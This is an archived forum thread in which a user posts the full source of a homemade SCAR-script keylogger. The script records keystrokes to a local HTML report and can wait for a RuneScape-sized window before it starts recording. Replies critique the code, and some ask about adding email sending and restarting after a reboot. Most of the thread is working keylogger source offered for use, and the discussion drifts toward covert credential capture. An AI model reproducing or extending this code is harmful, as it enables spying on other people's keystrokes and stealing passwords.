SRL Archive - Other Scripts

ok i made a key logger just for fun i don't scam steal or anything
i was just bored don't post anything inless it's a nice questin or commet!!!!

program New;
////////////////////////////////////////////////////////////////////////////////
// READ BEFORE USING !!!!!!!!
//
//          CREATED BY  "Sky Scripter"
//
//   ME : I do not scam or steal or what ever....
//        i just made this for fun ok...
//
//  HOW TO USE:  this will save a html report in your scar folder
//               so open that with the Internet to see your key history.
//               also everything is optional except for your
//               password.
//
/////////////////////////////////////
//                                 //
//  PS:  Have Fun Whatever you do  //
//                                 //
////////////////////////////////////////////////////////////////////////////////


var
   s:String;
   key:String;
   NewLine:Boolean;
   Main : TForm;
   Border, Table : TImage;
   PassWord, Hint:TEdit;
   STARTME: TButton;
   APP: TApplication;
   Activate:TComboBox;

procedure Resetkeys;
var  Alphabet:String;
     i:Integer;
begin
Alphabet:= 'abcdefghijklmnopqrstuvwxyz1234567890_ ';
For i:= 1 to Length(Alphabet) do
while IsKeyDown(StrGet(Alphabet, i)) do
wait(1);
While IsKeyDown(chr(13)) do
Wait(1);
end;

Function GetKeyDown(Var Key:String; Var NewLine:Boolean):Boolean;
var
  Alphabet:String;
  i:Integer;
begin
Result:= false
NewLine:= False;
Alphabet:= 'abcdefghijklmnopqrstuvwxyz123456789_ ';
For i:= 1 to Length(Alphabet) do
begin
if (IsKeyDown(StrGet(Alphabet,i))) then
begin
  Resetkeys;
  Key:=Alphabet[i]
  Result:=True;
  exit;
end;
end;
if (IsKeyDown(chr(13))) then
begin
NewLine:=True;
Result:=True;
Resetkeys;
exit;
end;
end;

Procedure MakeFile;
var HTMl:String;
    OutFile:Integer;
begin

HTML:=  '<HTML><TITLE> MY PAGE </TITLE><BODY BGCOLOR=0'+
       ' Text="White"><CENTER><FONT SIZE="3" COLOR="WH'+
         'ITE" STYLE="BOLD">SKY SCRIPTER<BR>[KEY LOG]<B'+
         'R><BR><FONT SIZE="1"><TABLE ID="AutoNumber1" '+
         'border="4" bordercolor="$F0F0" cellpadding="2'+
         '" cellspacing="2" width="100%" Height="100%">'+
         '<TR bgCOLOR=65280>';

OutFile:= RewriteFile(AppPath + 'Sky Scripter[key log].HTML', False);
if(OutFile > -1)then
  begin
    WriteFileString(OutFile, HTML+S+'</TABLE></CENTER></BODY></HTML>');
    CloseFile(OutFile);
  end;
end;

Procedure SetKeys;
begin
if (GetKeyDown(key, NewLine)) then
begin
 if (NewLine) then
 begin
Case Random(2)+1 of
 1:s:= s+'<TR bgCOLOR=65280>' // next line
 2:s:= s+'<TR bgCOLOR=26367>'
end;
 end else
 s:=s+key;
end;
 key:='';
 NewLine:= False;
if (IsKeyDown(chr(VK_BACK))) then
begin
 while IsKeyDown(chr(VK_BACK)) do
 wait(1)
 delete(s, Length(s), Length(s)-1);
end;
end;

Procedure STARTFORM(Sender:TObject);
begin
if (PassWord.TEXT = '') or
   (PassWord.TEXT = 'Password Please') then
App.MESSAGEBOX('Please Set a password','Password',1)
else
begin
Main.MODALRESULT:= mrOk;
PassWord.TEXT:= Lowercase(PassWord.TEXT);
GetSelf.hide;
end;
end;

procedure InitForm;
var x:Integer;
begin
  Main := CreateForm;
  Main.SetBounds(259, 132, 400, 300);
  Main.Caption := 'frmDesign';        // Main Form
  Main.Color := 0;
  Main.Font.Color := clWindowText;
  Main.Font.Height := -11;
  Main.Font.Name := 'MS Sans Serif';
  Main.Font.Style := [];
  Main.Visible := False;
  Main.PixelsPerInch := 96;
      PassWord:= TEdit.Create(Main);
      PassWord.SetBounds(40,90,100,20);
      PassWord.Parent:= Main;
      PassWord.COLOR:=16777215;
      PassWord.Hint := 'Set a password so Nobody else can access';
      PassWord.ShowHint:= True;
      PassWord.TEXT:= 'Password Please';
        Hint:= TEdit.Create(Main);
        Hint.SetBounds(190,90,150,20);
        Hint.Parent:= Main;
        Hint.Color := 16777215;
        Hint.Hint := 'set a hint if you forget password (optional)';
        Hint.ShowHint:= True;
        Hint.TEXT:= 'Set Hint';
  Activate:= TComboBox.Create(Main);
  Activate.Parent := Main;
  Activate.SetBounds(135, 150, 78, 23);
  Activate.Color := 16777215;
  Activate.ItemHeight := 15;
  Activate.ParentShowHint := False;
  Activate.Hint := 'Detect Rs2 Before Recording Keys';
  Activate.ShowHint := True;
  Activate.TEXT:= 'False';
  Activate.Items.Add('True');
  Activate.Items.Add('False');
      Table:= TImage.Create(Main);
      Table.SetBounds(10,54,370,200);
      Table.Parent:= Main;
      Table.Canvas.Pen.Color:=255;
  For x:=0 to 100 do
   begin           // Make Top Border
      Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color-3+random(2);
      Table.Canvas.MoveTo(0, x);
      Table.Canvas.LineTo(370, x);
   end;
     For x:=100 to 200 do
   begin           // Make Top Border
      Table.Canvas.Pen.Color:= Table.Canvas.Pen.Color+3-random(2);
      Table.Canvas.MoveTo(0, x);
      Table.Canvas.LineTo(370, x);
   end;
   Table.CANVAS.Font.Color:=15849925;
   Table.CANVAS.Font.Style:= [fsbold];
   Table.CANVAS.Font.Size := 9;
   Table.Canvas.Brush.Style:= bsClear;
   Table.CANVAS.TextOut(50, 15,'Password');
   Table.CANVAS.TextOut(210, 15,'Hint (Optional)');
   Table.CANVAS.TextOut(110, 78,'Detect Rs (Optional)');
      STARTME:= TButton.Create(Main);
      STARTME.SetBounds(138,190,70,25);
      STARTME.Parent:= Main;
      STARTME.caption:='START';
      STARTME.ONCLICK:= @StartForm;
      Border:= TImage.Create(Main);
      Border.SetBounds(0,0,392,40);
      Border.Parent:= Main;
      Border.Canvas.Pen.Color:=255;
      Border.Canvas.Brush.Style:= bsClear;
   For x:=0 to 20 do
   begin           // Make Top Border
      Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color-9;
      Border.Canvas.MoveTo(0, x);
      Border.Canvas.LineTo(392, x);
   end;
    Border.Canvas.Pen.Color:=255;
   For x:=20 to 40 do
   begin           // Make Top Border
      Border.Canvas.Pen.Color:= Border.Canvas.Pen.Color+13;
      Border.Canvas.MoveTo(0, x);
      Border.Canvas.LineTo(392, x);
   end;
   Border.CANVAS.Font.Color:=15849925;
   Border.CANVAS.Font.Style:= [fsbold];
   Border.CANVAS.Font.Size := 12;
   Border.CANVAS.TextOut(90, 10,'Sky Scripter [Key Logger]');
   APP:= TApplication.create(getSelf);
   Main.ShowModal;
end;


procedure SafeInitForm;
var
  v: TVariantArray;
begin
  setarraylength(V, 0);
  ThreadSafeCall('InitForm', v);
end;

var i:Integer;
begin
SafeInitForm;
if (Main.MODALRESULT = mrOk) then
if (Activate.Text = 'True') then
repeat
wait(1000);
until(FindWindowBySize(766, 504))
else
begin
Resetkeys;
repeat
SetKeys;
until(IsFKeyDown(12));
for i:=1 to 3 do
begin
if (ReadLn('Password Please?')=Lowercase(PassWord.TEXT)) then
begin
i:=0;
MakeFile;
App.MESSAGEBOX('Successfully saved','Password',1)
break;
end else
if (i>2) then
begin
App.MESSAGEBOX('Invaild Passwords Closing SCAR' ,'Password',1)
getself.CLOSE;
getself.CLOSE;
end;
if (not(Hint.text ='')) and
   (not(Hint.text ='Set Hint'))then
if (i>0)then
App.MESSAGEBOX('Hint: '+Hint.text ,'Password',1)
App.MESSAGEBOX('Sorry Invaild Password chance '+inttostr(i)+' out of 3' ,'Password',1)
end;
GetSelf.SHOW;
if (i>2) then
getself.CLOSE;
end else
Writeln('Need to Set a Password And Start');
end.

How exactly does this bennifit any of us? Can it be used as a keylogger?

Yah it just records your keys
you don't have to use it

Oh ok I was just a little confused over its purpose.

its a keylogger but not a virused keylogger hes halfway onto creating a cirus then allhe has to do is become genius and make it new and undetectable and may say all new but an idea one may use will allready be used by other the only ppl that know it hanst been nused r the pro hackers.
i went off topic but…. yeh lol

hmmm interesting… you couldnt use this though because there no way it can send an email… but thats cool man!

That is sweet. I'm gonna try to find out what all I can do with it

nice, but its not really a keylogger… lol

Nice start on a keylogger man. I really like how you made the colors in your form. Really creative!

Here is my critique on your script.
- No waits in main loop! Scar uses too much CPU time.
- It doesn't check for other characters like… Shift,Alt,Ctrl.
- It doesn't check for these chars: ,./;'[]\-=`
- Memory leak, you didn't free the form. - FreeForm(Main);
- Scar did not close after 3 tries. I hit cancel for each password prompt and then it finally asked me if I wanted to save the changes and I said no.
- You can see the password. To change this, add in…
PassWord.PasswordChar := '*';

~Ron :)

Nice start on a keylogger man. I really like how you made the colors in your form. Really creative!

Here is my critique on your script.
- No waits in main loop! Scar uses too much CPU time.
- It doesn't check for other characters like… Shift,Alt,Ctrl.
- It doesn't check for these chars: ,./;'[]\-=`
- Memory leak, you didn't free the form. - FreeForm(Main);
- Scar did not close after 3 tries. I hit cancel for each password prompt and then it finally asked me if I wanted to save the changes and I said no.
- You can see the password. To change this, add in…
PassWord.PasswordChar := '*';
~Ron

lol as you can see i only spent time on making the form nice

About the Free Form i didn't no it had to be Free
thats nice to know thanks……

thanks very much when i get time i may fix these :p

how do i actualy see the password????

it is saved into a HTML document in your SCAR folder

this could be fun…..

hey i was wondering if you could make it so that scar can reload after a comp has been restarted

is that possible??

hey i was wondering if you could make it so that scar can reload after a comp has been restarted

is that possible??

it don't know what you mean really……..?
getself.refresh